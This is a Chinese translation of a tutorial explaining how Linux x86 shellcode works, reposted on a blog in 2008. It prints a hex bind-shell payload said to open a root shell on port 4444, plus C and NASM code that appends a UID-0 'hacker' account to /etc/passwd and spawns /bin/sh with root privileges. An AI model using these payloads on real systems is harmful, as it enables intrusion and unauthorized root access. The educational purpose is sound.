Shellcodes是如何工作的?

原文来源:SecurityDot ( http://www.securitydot.net/ )
原文作者:不详

注:

(开始)
要发现一个存在漏洞的服务和利用这种漏洞的exploit(漏洞利用程序,本文其他地方均直接使用exploit而没有翻译)并不是一份容易的差事。当然,要想有效抵御那些想利用这些漏洞攻击你的用户同样不太容易。如果你是一个系统管理员,那么,你想自己写一个漏洞利用程序来将一个news line(此处不太理解,不敢乱翻译)从bug追踪者转换成试图潜入者的难度会相当大。这个文章不是教你如何编写exploit,也不是对一些常见漏洞的总结。它是一个教你慢慢学习shellcode的向导,一个学习exploit至关重要的突破口。我希望,学会它们是怎样工作的将会有效地帮助那些尽职、可敬的开发者和系统管理员们明白破坏者们的思路并且使自己的系统避免被攻击。

Shellcode是怎样工作的?

随便从因特网上下载一个exploit,确保你在一个远程机器上有一个很容易操作的root shell后,检查一下它(指exploit)的源代码。寻找代码中最难以理解的片段:可以肯定地说,它是一定有的。通常最有可能的是,你会发现许多行奇怪并且似乎毫不相干的符号,其中一些就像下面那样:
char shellcode[] =
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"
"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"
"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"
"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"
"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"
"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"
"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";

这就是shellcode,有时它也会被称为“字节码”。它包含的不是什么魔力文字或随机符号。它只是一串低位的机器指令,就像那些可执行文件中的一样。这个示例shellcode的作用是打开一个本地linux机器的4444端口,并将它以root特权绑定为一个远程的shell 。使用shellcode,你可以做到重启一个系统,向一个电子邮件发送文件等等。因此对一个漏洞利用程序来说最主要的任务就是让它的shellcode正确运行。

就拿广为人所知的错误缓冲区溢出为例来说吧。程序员经常会检查那些将会被函数接收的输入数据。一个简单的例子:程序员创建了一个动态数组,给它分配了100个字节,同时没有控制实数元素。所有超出数组边界的元素都会被压入到一个堆栈中,这样,传说中的缓冲区溢出就形成了。一个exploit的任务就是溢出这个缓冲区,然后改变系统执行返回地址使其指向你的shellcode在内存中的地址。如果一个shellcode得到了控制权,它将会被执行。这相当地容易。

就像我前面说的那样,这篇文章不是教你如何写exploits的。互联网上有很多保存着大量shellcodes的地方(shellcode.org、Metasploit);但是,这通常是不够的。一个shellcode其实是一串与处理器体系结构和操作系统非常接近的低位机器指令。这就是为什么理解它的工作原理能有效地帮助您抵御那些试图对您进行的攻击。

这是为了什么呢?

在继续下面的工作之前,我假设你已经至少有一定的汇编知识基础。对于我们实验的平台,我选择了32位x86架构处理器的Linux。大多数的exploits都是针对Unix服务的。所以,它们都会让人非常感兴趣。你将会需要一些额外的工具:Netwide Assembler (nasm)、 ndisasm和 hexdump。大多数被分发的Linux(光盘或安装包)默认情况下都包含有这些工具。

实现所需功能的 Shellcode 源程序通常都是用汇编语言编写;但是,用C语言写好工程并编译连接后的代码更容易解释清楚它是如何工作的,然后我们可以使用汇编重写这个功能的代码。下面是一个将一个用户添加进 /etc/passwd的C源代码:
#include <stdio.h>
#include <fcntl.h>

main() {
char *filename = "/etc/passwd";
char *line = "hacker:x:0:0::/:/bin/sh\n";
int f_open;
f_open = open(filename,O_WRONLY|O_APPEND);
write(f_open, line, strlen(line));
close(f_open);
exit(0);
}

所有的代码都非常简单,也许那个 open() 函数要被除外。给定的常量 O_WRONLY|O_APPEND 作为一个参数以写方式打开存在的文件并将新的数据添加到文件的尾部;

这里还有一个更有用的例子:执行一个目的shell
#include <stdio.h>

main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
setreuid(0, 0);
execve(name[0],name, NULL);
}

Setreuid(0,0)函数试图得到root权限(如果可以的话),execve(const char filename,const char[] argv, const char[] envp)是一个重要的系统调用以执行任何的二进制文件或脚本。它有三个参数:filename是可执行文件的完整路径,argv[]是执行参数集合数组,envp[]是一串“属性=值”格式的数组。这两个数组都必须以一个NULL元素结尾。

现在咱们来考虑一下如何使用汇编重写第一个例子中的C代码。x86汇编语言使用一种专门通过读取函数在EAX寄存器中的地址然后执行相应函数的系统中断来完成系统调用。这些函数代码存在于 /usr/include/asm/unistd.h文件中。举个例子吧,在这个文件中有一行,#define __NR_ open 5,意思是 open() 函数的编码值(这里具体是什么编码我也不太清楚,好像不是中断号)是5。用同样的方法,你还可以得到所有其他的函数值:exit()的是1,close()是6,setreuid()是70,execve()是11。这些知识已经足够写出一个简单的可运行应用程序了。 /etc/passwd 使用汇编改写过的代码如下:
section .data
filename db '/etc/passwd', 0
line db 'hacker:x:0:0::/:/bin/sh',0x0a

section .text
global _start

_start:
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax

; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80

; close(f_open)
mov eax, 6
int 0x80

; exit(0)
mov eax, 1
mov ebx, 0
int 0x80

我们知道汇编程序通常包含三个段:数据段,用来存放变量;代码段,用来存在代码指令;和堆栈段,用来给存储的数据准备专门的内存区域。这个例子只用了数据段和代码段。这些操作数在开始部分标记.data段和.text段。数据段中包含了两个字符型变量的声明:Name和line,他们由一串字节组成(可以通过预定义中的db标记看到)。

代码段从一个入口点,global _start,的声明开始。它给出了应用程序代码开始的标志。

下面的步骤就简单了;为了调用open()函数,把EAX寄存器的值设置成适当的函数代码:5。做完后,把参数传递给函数。传递参数最简单的办法是利用EBX,ECX和EDX寄存器。EBX获取函数的第一个参数:表示文件名的字符串变量的开始地址,它包含了文件的完整路径和结束0字符(大多数系统函数的运行需要一个以null结束的字符)。ECX寄存器获取第二个参数:文件的打开方式(以数字格式表示的常量:O_WRONLY|O_APPEND)。但所有的参数设置好后,代码调用0x80中断。它将会从EAX中读取函数代码并且调用一个适当的函数。当完成这些调用后,应用程序继续运行,依次准确地调用write(),close(),和exit()函数。(完)

posted on 2008-05-26 22:09  ljpbin  阅读(211)  评论(0编辑  收藏  举报

导航